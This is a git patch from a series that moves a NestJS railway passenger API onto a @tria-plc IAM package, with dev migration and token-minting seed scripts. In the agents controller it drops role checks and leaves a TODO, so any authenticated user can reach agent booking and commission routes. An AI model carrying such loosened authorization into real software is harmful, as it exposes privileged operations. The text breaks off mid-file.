From 092199f5361c2fec85e2eb6604daf49c62fd6d78 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 2 Jun 2026 09:30:46 +0300 Subject: [PATCH 01/51] feat(passenger-api): integrate @tria-plc IAM package (dual-ORM iam schema + package auth guard) --- apps/edr-passenger-api/.env.example | 35 +- apps/edr-passenger-api/package.json | 12 +- .../scripts/run-iam-migrations.cjs | 46 + .../scripts/seed-iam-dev-user.cjs | 74 + apps/edr-passenger-api/src/app.module.ts | 25 +- .../src/common/iam-adapter.spec.ts | 264 -- .../src/common/iam-adapter.ts | 144 - .../src/common/iam-typeorm.config.ts | 56 + .../src/common/iam.module.ts | 11 - .../src/config/iam-database.config.ts | 18 + apps/edr-passenger-api/src/main.ts | 11 +- .../src/modules/agents/agents.controller.ts | 13 +- .../modules/bookings/bookings.controller.ts | 1 - .../src/modules/fraud/fraud.controller.ts | 13 +- .../notifications/notifications.controller.ts | 5 +- .../passengers/passengers.controller.ts | 1 - .../src/modules/reports/reports.controller.ts | 11 +- pnpm-lock.yaml | 2613 ++++++++++++++++- 18 files changed, 2886 insertions(+), 467 deletions(-) create mode 100644 apps/edr-passenger-api/scripts/run-iam-migrations.cjs create mode 100644 apps/edr-passenger-api/scripts/seed-iam-dev-user.cjs delete mode 100644 apps/edr-passenger-api/src/common/iam-adapter.spec.ts delete mode 100644 apps/edr-passenger-api/src/common/iam-adapter.ts create mode 100644 apps/edr-passenger-api/src/common/iam-typeorm.config.ts delete mode 100644 apps/edr-passenger-api/src/common/iam.module.ts create mode 100644 apps/edr-passenger-api/src/config/iam-database.config.ts diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example index 4a535478a..2daee96b4 100644 --- a/apps/edr-passenger-api/.env.example +++ b/apps/edr-passenger-api/.env.example @@ -2,17 +2,46 @@ NODE_ENV=development PORT=3002 -# Database (Prisma) -DATABASE_URL=postgresql://edr:edr_secret@localhost:5432/edr_passenger?schema=edr_passenger +# Database (Prisma) — owns the `passenger` schema in edr_database +DATABASE_URL=postgresql://edr:edr_secret@localhost:5432/edr_database?schema=passenger + +# Database (TypeORM / @tria-plc IAM) — shared `iam` schema in the SAME edr_database. +# These mirror the connection vars read by @tria-plc/api-common's TypeORM DataSource. +DATABASE_HOST=localhost +DATABASE_PORT=5432 +DATABASE_NAME=edr_database +DATABASE_USER=edr +DATABASE_PASSWORD=edr_secret +DATABASE_SCHEMA=iam + +# RabbitMQ — the @tria-plc IAM/notification modules register RMQ clients (SMS/notifications). +# Connects lazily; a broker is only needed when those features actually send. Placeholder for dev. +RABBITMQ_URL=amqp://localhost:5672 + +# MinIO — the @tria-plc file/notification modules construct a MinIO client at boot (validates these). +# Placeholders for dev; only contacted when file upload/download features are actually used. +MINIO_ENDPOINT=localhost +MINIO_PORT=9000 +MINIO_USE_SSL=false +MINIO_ACCESS_KEY=minioadmin +MINIO_SECRET_KEY=minioadmin +MINIO_BUCKET=edr-dev # CORS FRONTEND_URL=http://localhost:5174 BACK_OFFICE_URL=http://localhost:5184 -# JWT +# JWT (legacy passenger auth — being replaced by IAM) JWT_SECRET=edr-platform-secret-change-in-production JWT_EXPIRES_IN=7d +# @tria-plc IAM token contract — the package's JwtGuard/verifyToken + AuthService sign/verify with +# these. MUST match the IAM issuer's secret in shared deployments. (Expiry strings use jsonwebtoken/ms.) +JWT_ACCESS_TOKEN_SECRET=dev-iam-access-secret-change-me +JWT_ACCESS_TOKEN_EXPIRES=1h +JWT_REFRESH_TOKEN_SECRET=dev-iam-refresh-secret-change-me +JWT_REFRESH_TOKEN_EXPIRES=7d + # SendGrid SENDGRID_API_KEY= SENDGRID_FROM_EMAIL=noreply@edr-platform.com diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 6b9358ebc..4102fc619 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -11,6 +11,8 @@ "test": "jest", "test:e2e": "jest --config ./test/jest-e2e.json", "type-check": "tsc --noEmit", + "iam:migrate": "node --env-file=.env scripts/run-iam-migrations.cjs", + "iam:seed-dev-user": "node --env-file=.env scripts/seed-iam-dev-user.cjs", "prisma:generate": "prisma generate", "prisma:migrate": "prisma migrate dev", "prisma:seed": "ts-node prisma/seed-complete.ts", @@ -32,19 +34,27 @@ "@nestjs/platform-express": "^11.1.19", "@nestjs/schedule": "^6.1.3", "@nestjs/swagger": "^7.4.0", + "@nestjs/typeorm": "^11.0.1", "@sendgrid/mail": "^8.1.0", + "@tria-plc/api-common": "^0.1.4", + "@tria-plc/iamapi-common": "^0.1.6", + "amqp-connection-manager": "^5.0.0", + "amqplib": "^2.0.1", "axios": "^1.7.7", "bcrypt": "^5.1.1", "class-transformer": "^0.5.1", "class-validator": "^0.14.0", + "dotenv": "^17.4.2", "jose": "^5.10.0", "passport": "^0.7.0", "passport-jwt": "^4.0.1", + "pg": "^8.21.0", "qrcode": "^1.5.3", "reflect-metadata": "^0.2.2", "rxjs": "^7.8.1", "swagger-ui-express": "^5.0.0", - "tsconfig-paths": "^4.2.0" + "tsconfig-paths": "^4.2.0", + "typeorm": "^0.3.30" }, "devDependencies": { "@edr/eslint-config": "workspace:*", diff --git a/apps/edr-passenger-api/scripts/run-iam-migrations.cjs b/apps/edr-passenger-api/scripts/run-iam-migrations.cjs new file mode 100644 index 000000000..1a448070b --- /dev/null +++ b/apps/edr-passenger-api/scripts/run-iam-migrations.cjs @@ -0,0 +1,46 @@ +/** + * Dev helper: run the @tria-plc/iamapi-common TypeORM migrations against the shared `iam` schema. + * + * The package ships its migration CLI assuming you run it from inside the package repo (it needs + * the package's devDeps). As a consumer we instead drive the shipped (compiled) migrations with the + * passenger app's own installed TypeORM. + * + * Reads the same DATABASE_* env vars as the app's IAM DataSource (see config/iam-database.config.ts). + * Run via: pnpm --filter @edr/passenger-api iam:migrate + * (the npm script loads .env with `node --env-file`). + * + * NOTE: in production the central IAM team owns/runs these migrations — this helper is for local dev. + */ +const path = require('path'); +const { DataSource } = require('typeorm'); + +const iamDist = path + .dirname(require.resolve('@tria-plc/iamapi-common')) + .replace(/\\/g, '/'); + +const ds = new DataSource({ + type: 'postgres', + host: process.env.DATABASE_HOST, + port: Number(process.env.DATABASE_PORT || 5432), + database: process.env.DATABASE_NAME, + username: process.env.DATABASE_USER, + password: process.env.DATABASE_PASSWORD, + schema: process.env.DATABASE_SCHEMA || 'iam', + entities: [], // migrations are raw SQL — no entities needed to run them + migrations: [`${iamDist}/db/migrations/*.js`], + migrationsTableName: 'typeorm_migrations', +}); + +(async () => { + await ds.initialize(); + // The IAM migrations rely on uuid_generate_v4() but never CREATE the extension themselves. + await ds.query('CREATE EXTENSION IF NOT EXISTS "uuid-ossp"'); + const applied = await ds.runMigrations({ transaction: 'each' }); + console.log(`[iam-migrations] applied ${applied.length} migration(s)`); + applied.slice(-5).forEach((m) => console.log(' +', m.name)); + await ds.destroy(); + console.log('[iam-migrations] DONE'); +})().catch((e) => { + console.error('[iam-migrations] FAIL:', e.message); + process.exit(1); +}); diff --git a/apps/edr-passenger-api/scripts/seed-iam-dev-user.cjs b/apps/edr-passenger-api/scripts/seed-iam-dev-user.cjs new file mode 100644 index 000000000..37451f871 --- /dev/null +++ b/apps/edr-passenger-api/scripts/seed-iam-dev-user.cjs @@ -0,0 +1,74 @@ +/** + * Dev helper: create a dev IAM user + an ACTIVE session, and print a ready-to-use Bearer token. + * + * Why this exists: in prod the central IAM service issues tokens (via password login at + * /v1/auth/login). For local dev of the passenger API (a token *consumer*), this seeds a session + * directly and mints a matching token with the package's own `generateToken`, so you can call + * protected routes immediately (paste the token into Swagger's Authorize box or `curl -H`). + * + * Run: pnpm --filter @edr/passenger-api iam:seed-dev-user + * Reads DATABASE_* + JWT_ACCESS_TOKEN_SECRET/EXPIRES from .env (loaded via `node --env-file`). + */ +const crypto = require('crypto'); +const { DataSource } = require('typeorm'); +const { generateToken } = require('@tria-plc/api-common/utils/token'); + +const DEV_EMAIL = process.env.DEV_IAM_EMAIL || 'dev@edr.local'; + +const ds = new DataSource({ + type: 'postgres', + host: process.env.DATABASE_HOST, + port: Number(process.env.DATABASE_PORT || 5432), + database: process.env.DATABASE_NAME, + username: process.env.DATABASE_USER, + password: process.env.DATABASE_PASSWORD, +}); + +(async () => { + await ds.initialize(); + + // Upsert the dev user (users.email is UNIQUE). + const name = { en: 'Dev User', am: 'የሙከራ ተጠቃሚ' }; + const [user] = await ds.query( + `INSERT INTO iam.users (name, username, email, user_type, status, is_active) + VALUES ($1::jsonb, $2, $3, 'individual', 'accepted', true) + ON CONFLICT (email) DO UPDATE SET updated_at = now() + RETURNING id`, + [JSON.stringify(name), 'dev-user', DEV_EMAIL], + ); + const userId = user.id; + + // Fresh ACTIVE session; userInfo is the denormalized TCurrentUser the guard puts on req.user. + const sessionId = crypto.randomUUID(); + const userInfo = { + id: userId, + email: DEV_EMAIL, + name, + username: 'dev-user', + userType: 'individual', + status: 'accepted', + roles: [], + permissions: [], + }; + await ds.query( + `INSERT INTO iam.sessions (id, email, device, "userInfo", user_id, status, expiry_time) + VALUES ($1, $2, 'dev-seeder', $3::jsonb, $4, 'ACTIVE', now() + interval '7 days')`, + [sessionId, DEV_EMAIL, JSON.stringify(userInfo), userId], + ); + + // The package JwtGuard looks up the session by the token's `id` claim. + const token = generateToken({ id: sessionId }); + + console.log('\n=== IAM dev user seeded ==='); + console.log('user id :', userId); + console.log('email :', DEV_EMAIL); + console.log('session id:', sessionId); + console.log('\nBearer token (valid 7 days):\n' + token); + console.log('\nTry it: curl -H "Authorization: Bearer " http://localhost:3002/v1/auth/me'); + console.log('(Run again any time for a fresh token/session.)\n'); + + await ds.destroy(); +})().catch((e) => { + console.error('[seed-iam-dev-user] FAIL:', e.message); + process.exit(1); +}); diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 16178a1b4..6e76d0e84 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -1,13 +1,17 @@ import { Module, NestModule, MiddlewareConsumer } from '@nestjs/common'; -import { ConfigModule } from '@nestjs/config'; +import { ConfigModule, ConfigService } from '@nestjs/config'; import { ScheduleModule } from '@nestjs/schedule'; import { EventEmitterModule } from '@nestjs/event-emitter'; +import { TypeOrmModule, TypeOrmModuleOptions } from '@nestjs/typeorm'; +// Subpath import: the @tria-plc/iamapi-common barrel does not resolve under moduleResolution:"Node". +// Aliased to avoid clashing with the app's existing custom ./common/iam.module (remote IamGuard). +import { IamModule as TriaIamModule } from '@tria-plc/iamapi-common/iam.module'; import { PrismaModule } from './common/prisma.module'; import { I18nModule } from './common/i18n/i18n.module'; -import { IamModule } from './common/iam.module'; import { LocaleMiddleware } from './common/i18n/locale.middleware'; import appConfig from './config/app.config'; import dbConfig from './config/database.config'; +import iamDatabaseConfig from './config/iam-database.config'; import telebirrConfig from './config/telebirr.config'; import cbeConfig from './config/cbe.config'; import ebirrConfig from './config/ebirr.config'; @@ -46,6 +50,7 @@ import { VerifaydaModule } from './modules/verifayda/verifayda.module'; load: [ appConfig, dbConfig, + iamDatabaseConfig, telebirrConfig, cbeConfig, ebirrConfig, @@ -56,10 +61,22 @@ import { VerifaydaModule } from './modules/verifayda/verifayda.module'; }), ScheduleModule.forRoot(), EventEmitterModule.forRoot(), + // TypeORM root DataSource for the shared `iam` schema (coexists with Prisma's `passenger` + // schema). Required so @tria-plc/api-common's JwtGuard can read `iam.sessions`, and so + // IamModule's forFeature repositories resolve. Options come from the `database` config + // namespace (see config/database.config.ts → iam-typeorm.config.ts). + TypeOrmModule.forRootAsync({ + inject: [ConfigService], + useFactory: (config: ConfigService): TypeOrmModuleOptions => + config.get('iamDatabase')!, + }), + // Mount the @tria-plc IAM module (auth/user/org-structure). Registers the IAM REST API under + // /v1/* (URI versioning). NOTE: SharedAuthModule (global JwtGuard) is intentionally added later + // in the route-protection phase, so public passenger routes are not 401'd before then. + TriaIamModule.forRoot(), PrismaModule, I18nModule, - IamModule, - AuthModule, + // AuthModule, StationsModule, FleetModule, SchedulesModule, diff --git a/apps/edr-passenger-api/src/common/iam-adapter.spec.ts b/apps/edr-passenger-api/src/common/iam-adapter.spec.ts deleted file mode 100644 index d0c404366..000000000 --- a/apps/edr-passenger-api/src/common/iam-adapter.spec.ts +++ /dev/null @@ -1,264 +0,0 @@ -import { Test, TestingModule } from '@nestjs/testing'; -import { ExecutionContext, UnauthorizedException, ForbiddenException } from '@nestjs/common'; -import { Reflector } from '@nestjs/core'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; -import { IamGuard } from './iam-adapter'; -import { of, throwError } from 'rxjs'; - -describe('IamGuard', () => { - let guard: IamGuard; - let httpService: HttpService; - let configService: ConfigService; - let reflector: Reflector; - - const mockConfigService = { - get: jest.fn((key: string) => { - const config: Record = { - IAM_API_URL: 'https://iam.test.com/api', - IAM_ENABLED: 'true', - IAM_API_KEY: 'test-api-key', - }; - return config[key]; - }), - }; - - const mockHttpService = { - post: jest.fn(), - }; - - const mockReflector = { - get: jest.fn(), - }; - - beforeEach(async () => { - const module: TestingModule = await Test.createTestingModule({ - providers: [ - IamGuard, - { provide: ConfigService, useValue: mockConfigService }, - { provide: HttpService, useValue: mockHttpService }, - { provide: Reflector, useValue: mockReflector }, - ], - }).compile(); - - guard = module.get(IamGuard); - httpService = module.get(HttpService); - configService = module.get(ConfigService); - reflector = module.get(Reflector); - - jest.clearAllMocks(); - }); - - const createMockContext = (token?: string, roles?: string[]): ExecutionContext => { - const request = { - headers: token ? { authorization: `Bearer ${token}` } : {}, - user: undefined, - }; - - return { - switchToHttp: () => ({ - getRequest: () => request, - }), - getHandler: () => ({}), - } as ExecutionContext; - }; - - describe('canActivate', () => { - it('should allow access when IAM is disabled', async () => { - mockConfigService.get.mockReturnValueOnce('false'); // IAM_ENABLED - - const context = createMockContext(); - const result = await guard.canActivate(context); - - expect(result).toBe(true); - }); - - it('should throw UnauthorizedException when no token provided', async () => { - const context = createMockContext(); - - await expect(guard.canActivate(context)).rejects.toThrow(UnauthorizedException); - }); - - it('should validate token and allow access', async () => { - const mockValidationResponse = { - data: { - valid: true, - payload: { - sub: 'user-123', - email: 'admin@test.com', - roles: ['ADMIN'], - permissions: ['read', 'write'], - exp: Date.now() + 3600000, - iat: Date.now(), - }, - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - mockReflector.get.mockReturnValue(null); - - const context = createMockContext('valid-token'); - const result = await guard.canActivate(context); - - expect(result).toBe(true); - expect(mockHttpService.post).toHaveBeenCalledWith( - 'https://iam.test.com/api/v1/auth/validate', - { token: 'valid-token' }, - expect.objectContaining({ - headers: expect.objectContaining({ - 'X-API-Key': 'test-api-key', - }), - }), - ); - }); - - it('should throw UnauthorizedException for invalid token', async () => { - const mockValidationResponse = { - data: { - valid: false, - error: 'Token expired', - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - - const context = createMockContext('invalid-token'); - - await expect(guard.canActivate(context)).rejects.toThrow(UnauthorizedException); - }); - - it('should check required roles', async () => { - const mockValidationResponse = { - data: { - valid: true, - payload: { - sub: 'user-123', - email: 'agent@test.com', - roles: ['AGENT'], - permissions: [], - exp: Date.now() + 3600000, - iat: Date.now(), - }, - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - mockReflector.get.mockReturnValue(['ADMIN', 'SUPERVISOR']); - - const context = createMockContext('valid-token'); - - await expect(guard.canActivate(context)).rejects.toThrow(ForbiddenException); - }); - - it('should allow access when user has required role', async () => { - const mockValidationResponse = { - data: { - valid: true, - payload: { - sub: 'user-123', - email: 'admin@test.com', - roles: ['ADMIN'], - permissions: [], - exp: Date.now() + 3600000, - iat: Date.now(), - }, - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - mockReflector.get.mockReturnValue(['ADMIN', 'SUPERVISOR']); - - const context = createMockContext('valid-token'); - const result = await guard.canActivate(context); - - expect(result).toBe(true); - }); - - it('should handle HTTP errors gracefully', async () => { - mockHttpService.post.mockReturnValue( - throwError(() => new Error('Network error')), - ); - - const context = createMockContext('valid-token'); - - await expect(guard.canActivate(context)).rejects.toThrow(UnauthorizedException); - }); - - it('should attach user to request', async () => { - const mockValidationResponse = { - data: { - valid: true, - payload: { - sub: 'user-123', - email: 'admin@test.com', - roles: ['ADMIN'], - permissions: ['read', 'write'], - organizationId: 'org-456', - exp: Date.now() + 3600000, - iat: Date.now(), - }, - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - mockReflector.get.mockReturnValue(null); - - const context = createMockContext('valid-token'); - await guard.canActivate(context); - - const request = context.switchToHttp().getRequest(); - expect(request.user).toEqual({ - userId: 'user-123', - email: 'admin@test.com', - roles: ['ADMIN'], - permissions: ['read', 'write'], - organizationId: 'org-456', - }); - }); - }); - - describe('token extraction', () => { - it('should extract token from Bearer header', async () => { - const mockValidationResponse = { - data: { - valid: true, - payload: { - sub: 'user-123', - email: 'test@test.com', - roles: [], - permissions: [], - exp: Date.now() + 3600000, - iat: Date.now(), - }, - }, - }; - - mockHttpService.post.mockReturnValue(of(mockValidationResponse)); - mockReflector.get.mockReturnValue(null); - - const context = createMockContext('my-token-123'); - await guard.canActivate(context); - - expect(mockHttpService.post).toHaveBeenCalledWith( - expect.any(String), - { token: 'my-token-123' }, - expect.any(Object), - ); - }); - - it('should reject malformed authorization header', async () => { - const request = { - headers: { authorization: 'InvalidFormat token' }, - }; - - const context = { - switchToHttp: () => ({ - getRequest: () => request, - }), - getHandler: () => ({}), - } as ExecutionContext; - - await expect(guard.canActivate(context)).rejects.toThrow(UnauthorizedException); - }); - }); -}); diff --git a/apps/edr-passenger-api/src/common/iam-adapter.ts b/apps/edr-passenger-api/src/common/iam-adapter.ts deleted file mode 100644 index fb32d9ec6..000000000 --- a/apps/edr-passenger-api/src/common/iam-adapter.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { Injectable, CanActivate, ExecutionContext, UnauthorizedException, ForbiddenException } from '@nestjs/common'; -import { Reflector } from '@nestjs/core'; -import { ConfigService } from '@nestjs/config'; -import { HttpService } from '@nestjs/axios'; -import { firstValueFrom } from 'rxjs'; - -/** - * IAM Adapter for @tria-plc corporate identity integration - * - * This adapter wraps the corporate IAM guards and provides a bridge - * between the corporate identity system and the EDR passenger API. - * - * For back-office roles (agent, supervisor, admin, staff), this guard - * validates tokens against the corporate IAM service. - * - * For passenger-facing routes, the existing JWT guard is used. - */ - -export interface IamTokenPayload { - sub: string; - email: string; - roles: string[]; - permissions: string[]; - organizationId?: string; - exp: number; - iat: number; -} - -export interface IamValidationResponse { - valid: boolean; - payload?: IamTokenPayload; - error?: string; -} - -@Injectable() -export class IamGuard implements CanActivate { - private readonly iamApiUrl: string; - private readonly iamEnabled: boolean; - - constructor( - private readonly reflector: Reflector, - private readonly config: ConfigService, - private readonly http: HttpService, - ) { - this.iamApiUrl = this.config.get('IAM_API_URL') || 'https://iam.tria-plc.com/api'; - this.iamEnabled = this.config.get('IAM_ENABLED') === 'true'; - } - - async canActivate(context: ExecutionContext): Promise { - if (!this.iamEnabled) { - // IAM disabled - allow access (for development) - return true; - } - - const request = context.switchToHttp().getRequest(); - const token = this.extractToken(request); - - if (!token) { - throw new UnauthorizedException('No authentication token provided'); - } - - const validation = await this.validateToken(token); - - if (!validation.valid || !validation.payload) { - throw new UnauthorizedException(validation.error || 'Invalid token'); - } - - // Check required roles - const requiredRoles = this.reflector.get('roles', context.getHandler()); - if (requiredRoles && requiredRoles.length > 0) { - const hasRole = requiredRoles.some((role) => validation.payload!.roles.includes(role)); - if (!hasRole) { - throw new ForbiddenException('Insufficient permissions'); - } - } - - // Attach user to request - request.user = { - userId: validation.payload.sub, - email: validation.payload.email, - roles: validation.payload.roles, - permissions: validation.payload.permissions, - organizationId: validation.payload.organizationId, - }; - - return true; - } - - private extractToken(request: any): string | null { - const authHeader = request.headers.authorization; - if (!authHeader) return null; - - const parts = authHeader.split(' '); - if (parts.length !== 2 || parts[0] !== 'Bearer') return null; - - return parts[1]; - } - - private async validateToken(token: string): Promise { - try { - const response = await firstValueFrom( - this.http.post( - `${this.iamApiUrl}/v1/auth/validate`, - { token }, - { - headers: { - 'Content-Type': 'application/json', - 'X-API-Key': this.config.get('IAM_API_KEY') || '', - }, - timeout: 5000, - }, - ), - ); - - return response.data; - } catch (err) { - return { - valid: false, - error: err instanceof Error ? err.message : 'Token validation failed', - }; - } - } -} - -/** - * Decorator to mark routes as requiring IAM authentication - */ -export const UseIamAuth = () => { - // This is a marker decorator that can be used with @UseGuards(IamGuard) - return (target: any, propertyKey?: string, descriptor?: PropertyDescriptor) => { - // Marker only - actual guard is applied via @UseGuards - }; -}; - -/** - * Decorator to specify required roles for IAM-protected routes - */ -export const IamRoles = (...roles: string[]) => { - return (target: any, propertyKey?: string, descriptor?: PropertyDescriptor) => { - if (descriptor) { - Reflect.defineMetadata('roles', roles, descriptor.value); - } - }; -}; diff --git a/apps/edr-passenger-api/src/common/iam-typeorm.config.ts b/apps/edr-passenger-api/src/common/iam-typeorm.config.ts new file mode 100644 index 000000000..42ce89c9e --- /dev/null +++ b/apps/edr-passenger-api/src/common/iam-typeorm.config.ts @@ -0,0 +1,56 @@ +import { TypeOrmModuleOptions } from '@nestjs/typeorm'; +import * as path from 'path'; + +/** + * TypeORM DataSource options for the shared `iam` schema. + * + * Context (see docs/iam-package-understanding-guide.md): + * - The `iam` schema is owned by `@tria-plc/iamapi-common` (TypeORM). Prisma owns the + * `passenger` schema. Both ORMs point at the same database (`edr_database`). + * - `@tria-plc/api-common`'s `JwtGuard` injects the *default* TypeORM `DataSource` and runs a + * raw `SELECT ... FROM iam.sessions`, so the app must expose a DataSource that can reach it. + * + * Connection env vars intentionally mirror the package's own migration DataSource + * (`@tria-plc/api-common/dist/modules/typeorm/typeorm.config.internal.js`) so the app and the + * package CLI read the same configuration: + * DATABASE_HOST, DATABASE_PORT, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD, DATABASE_SCHEMA + * + * This NEVER manages the schema: `synchronize: false` and `migrationsRun: false`. The `iam` + * schema is created by the IAM package migrations (dev: self-hosted; prod: central IAM team). + */ +function resolvePackageDist(pkg: string): string { + // Node honors each package's `exports` map at runtime even though TS `moduleResolution: "Node"` + // does not — so `require.resolve` on the barrel resolves to the package's dist `index.js`. + const resolved = require.resolve(pkg); + // Normalize to forward slashes so the glob works on Windows too. + return path.dirname(resolved).replace(/\\/g, '/'); +} + +export function buildIamTypeOrmOptions(): TypeOrmModuleOptions { + const iamDist = resolvePackageDist('@tria-plc/iamapi-common'); + // Some IAM entities (e.g. PositionType) relate to the notification entities that physically + // live in @tria-plc/api-common (the IAM barrel only re-exports them), so BOTH dist trees must + // be registered or TypeORM throws "Entity metadata ... was not found". + const apiDist = resolvePackageDist('@tria-plc/api-common'); + return { + type: 'postgres', + host: process.env.DATABASE_HOST, + port: Number(process.env.DATABASE_PORT ?? 5432), + database: process.env.DATABASE_NAME, + username: process.env.DATABASE_USER, + password: process.env.DATABASE_PASSWORD, + schema: process.env.DATABASE_SCHEMA ?? 'iam', + // IAM entities live in the packages; registered so the same default DataSource also serves + // IamModule in the dev self-host phase (Phase 3). Harmless before the tables exist. + entities: [ + `${iamDist}/entities/**/*.entity.{ts,js}`, + `${apiDist}/entities/**/*.entity.{ts,js}`, + ], + synchronize: false, // schema is owned by IAM migrations — never auto-sync + migrationsRun: false, // migrations are run by the IAM package CLI (dev) / IAM team (prod) + autoLoadEntities: false, + migrationsTableName: 'typeorm_migrations', + retryAttempts: 0, // fail fast in dev if the iam schema / DB is unreachable + logging: ['error'], + }; +} diff --git a/apps/edr-passenger-api/src/common/iam.module.ts b/apps/edr-passenger-api/src/common/iam.module.ts deleted file mode 100644 index 7a8ec9599..000000000 --- a/apps/edr-passenger-api/src/common/iam.module.ts +++ /dev/null @@ -1,11 +0,0 @@ -import { Module, Global } from '@nestjs/common'; -import { HttpModule } from '@nestjs/axios'; -import { IamGuard } from './iam-adapter'; - -@Global() -@Module({ - imports: [HttpModule.register({ timeout: 5000 })], - providers: [IamGuard], - exports: [IamGuard], -}) -export class IamModule {} diff --git a/apps/edr-passenger-api/src/config/iam-database.config.ts b/apps/edr-passenger-api/src/config/iam-database.config.ts new file mode 100644 index 000000000..4223a01c3 --- /dev/null +++ b/apps/edr-passenger-api/src/config/iam-database.config.ts @@ -0,0 +1,18 @@ +import { registerAs } from '@nestjs/config'; +import { TypeOrmModuleOptions } from '@nestjs/typeorm'; +import { buildIamTypeOrmOptions } from '../common/iam-typeorm.config'; + +/** + * Dedicated config namespace for the IAM **TypeORM** connection — the shared `iam` schema ONLY. + * + * This is intentionally separate from Prisma: Prisma remains the app's primary ORM and owns the + * `passenger` schema via `DATABASE_URL` (see prisma.service.ts). This second connection exists + * solely because `@tria-plc/api-common` / `@tria-plc/iamapi-common` are TypeORM-based and the + * `JwtGuard` reads `iam.sessions` through a TypeORM `DataSource`. + * + * Consumed by `TypeOrmModule.forRootAsync` in app.module.ts. + */ +export default registerAs( + 'iamDatabase', + (): TypeOrmModuleOptions => buildIamTypeOrmOptions(), +); diff --git a/apps/edr-passenger-api/src/main.ts b/apps/edr-passenger-api/src/main.ts index 2c471da93..5ea253efd 100644 --- a/apps/edr-passenger-api/src/main.ts +++ b/apps/edr-passenger-api/src/main.ts @@ -1,6 +1,10 @@ +// Load .env into process.env BEFORE the module graph is built. Required because the @tria-plc IAM +// modules read process.env at module-load time (e.g. MinioModule.register reads MINIO_ENDPOINT), +// which happens before ConfigModule.forRoot() would populate it. Must be the very first import. +import "dotenv/config"; import "reflect-metadata"; import { NestFactory } from "@nestjs/core"; -import { ValidationPipe } from "@nestjs/common"; +import { ValidationPipe, VersioningType } from "@nestjs/common"; import { DocumentBuilder, SwaggerModule } from "@nestjs/swagger"; import { AppModule } from "./app.module"; import { HttpExceptionFilter } from "./common/filters/http-exception.filter"; @@ -10,6 +14,11 @@ import { SessionActivityInterceptor } from "./common/interceptors/session-activi async function bootstrap() { const app = await NestFactory.create(AppModule); + // URI versioning: the @tria-plc IAM controllers declare `version: "1"` so they register under + // `/v1/...` (e.g. /v1/auth/login). Passenger controllers declare no version, so they stay + // version-neutral at their existing paths (e.g. /search, /bookings) — unchanged for the frontend. + app.enableVersioning({ type: VersioningType.URI }); + app.enableCors({ origin: [ process.env.PORTAL_URL ?? "http://localhost:5174", diff --git a/apps/edr-passenger-api/src/modules/agents/agents.controller.ts b/apps/edr-passenger-api/src/modules/agents/agents.controller.ts index aa23fe6d0..378a2a361 100644 --- a/apps/edr-passenger-api/src/modules/agents/agents.controller.ts +++ b/apps/edr-passenger-api/src/modules/agents/agents.controller.ts @@ -2,39 +2,37 @@ import { Body, Controller, Get, Param, Post, Query, UseGuards } from '@nestjs/co import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; import { AgentsService } from './agents.service'; import { CreateAgentBookingDto, OpenShiftDto, CloseShiftDto } from './agents.dto'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; -import { UserRole } from '@prisma/client'; +// IAM auth: validate the IAM session token via @tria-plc/api-common's DB-backed JwtGuard. +import { JwtGuard as IamJwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; @ApiTags('Agents') @Controller('agents') -@UseGuards(IamGuard) +// TODO(iam-authz): restrict per route via @UseGuards(PermissionGuard([...])) once the IAM +// role→permission mapping (EIamPermissionKey) is confirmed. For now: authenticated IAM users only. +@UseGuards(IamJwtGuard) @ApiBearerAuth('IAM-auth') export class AgentsController { constructor(private service: AgentsService) {} @Post('bookings') - @IamRoles('AGENT', 'ADMIN') @ApiOperation({ summary: 'Create agent booking with cash payment' }) createBooking(@Body() dto: CreateAgentBookingDto) { return this.service.createAgentBooking(dto); } @Post('shifts/open') - @IamRoles('AGENT', 'ADMIN') @ApiOperation({ summary: 'Open agent shift' }) openShift(@Body() dto: OpenShiftDto) { return this.service.openShift(dto); } @Post('shifts/close') - @IamRoles('AGENT', 'ADMIN') @ApiOperation({ summary: 'Close agent shift' }) closeShift(@Body() dto: CloseShiftDto) { return this.service.closeShift(dto); } @Get(':agentId/commissions') - @IamRoles('AGENT', 'ADMIN') @ApiOperation({ summary: 'Get agent commissions' }) getCommissions( @Param('agentId') agentId: string, @@ -49,7 +47,6 @@ export class AgentsController { } @Get(':agentId/shifts') - @IamRoles('AGENT', 'ADMIN') @ApiOperation({ summary: 'Get agent shifts' }) getShifts(@Param('agentId') agentId: string) { return this.service.getShifts(agentId); diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts index 1d121ce57..e16b8978b 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts @@ -5,7 +5,6 @@ import { GuestBookingService } from './guest-booking.service'; import { CreateBookingDto, ModifyBookingDto, CancelBookingDto } from './bookings.dto'; import { CreateGuestBookingDto, GetSavedPassengersDto } from './guest-booking.dto'; import { JwtGuard } from '../../common/jwt.guard'; -import { IamGuard } from '../../common/iam-adapter'; @ApiTags('Booking') @Controller('bookings') diff --git a/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts b/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts index 4056b4259..de6ef9ef5 100644 --- a/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts +++ b/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts @@ -1,12 +1,14 @@ import { Controller, Get, Post, Body, Query, UseGuards, Logger } from 